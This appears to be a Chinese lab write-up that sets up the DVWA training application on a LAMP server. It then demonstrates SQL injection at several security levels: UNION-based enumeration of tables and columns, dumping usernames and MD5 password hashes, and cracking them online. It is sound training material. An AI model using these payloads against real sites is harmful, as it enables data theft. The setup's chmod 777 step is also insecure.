@rg070836rg
2016-10-11T15:38:36.000000Z
字数 2477
阅读 3477
网络安全
输入命令
sudo apt-get install apache2
输入命令
sudo apt-get install mysql-server
输入命令
sudo apt-get install php5
输入命令
sudo apt-get install phpmyadmin
sudo chmod 777 /var/www
sudo ln -s /usr/share/phpmyadmin /var/www/html/
浏览器中输入ip/phpmyadmin,输入设定的用户名密码即可。
附下载链接:DVWA-1.9.zip未知大小
利用winscp,将包传送至/var/www/html中
vim /var/www/html/DVMA/config/config.inc.php
修改数据库用户名及密码:
如下图,点击Create / Reset Database
若成功如下,失败请检查mysql等服务
用户名密码默认为admin/password
DVMA主界面
DVWA是一个网络攻防平台,Web渗透测试演练系统,是基于 php 和 mysql 的虚拟 Web 应用,“内置”常见的 Web 漏洞
①首先,我们点击sql Injection 进行sql注入测试;
②分析源码;
③输入 ' or 1=1 #
SELECT first_name, last_name FROM users WHERE user_id = '' or 1=1 #
④说明这个网站 存在sql注入点
⑤从源码我们很容易看到 查询的字段是2个,但如果我们没有源码,我们可以通过union进行字段数目猜测
union select 1,2 #
⑤知道了字段数目之后,我们可以获得数据库版本和数据库名
' union select user(),database() #
⑥同时也能查出数据库中表的名字
' union select table_name,2 from information_schema.tables where table_schema='dvwa' #
我们查出数据库的表名为guestbook和users
⑦我们继续查表里面的字段名
' union select column_name,2 from information_schema.columns where table_name='users' #
很容易发现,有user_id first_name last_name user password avatar这几个字段
⑧尝试获取user以及password
' union select user,password from users #
⑨尝试破解密码
密码共有32位,猜测其为md5码,百度一个可以反向解析md5的网站http://pmd5.com/
很快,解析出了密码:
admin
5f4dcc3b5aa765d61d8327deb882cf99----password
gordonb
e99a18c428cb38d5f260853678922e03----abc123
1337
8d3533d75ae2c3966d7e0d4fcc69216b----charley
pablo
0d107d09f5bbe40cade3de5c71e9e9b7----letmein
smithy
5f4dcc3b5aa765d61d8327deb882cf99----password
①分析源码
$id = $_GET['id'];
$id = mysql_real_escape_string($id);
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
发现多了一段函数mysql_real_escape_string(),它能够过滤一定的特殊符号,用"\"去转义他们。所以我们之前用的
' or 1=1 #
已经不起作用了。但同时,我们发现sql语句也发生了变化,现在变成了数字型。
②这样表明,我们不需要考虑引号的匹配带来的错误,直接用下面的注入方式
1 and 1=1
③后续的操作基本和前面一样。
①分析源码
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
这边这输入之后,调用函数stripslashes()删除反斜杠,然后在执行sql语句之前,首先判定类型是否为数字型,如不是则不执行,这样就让and、or、select等语句都无法执行了。但实际查询时候又重新拼接成字符型,所以这样用普通的sql注入方式已经不能够达到,页面相对安全。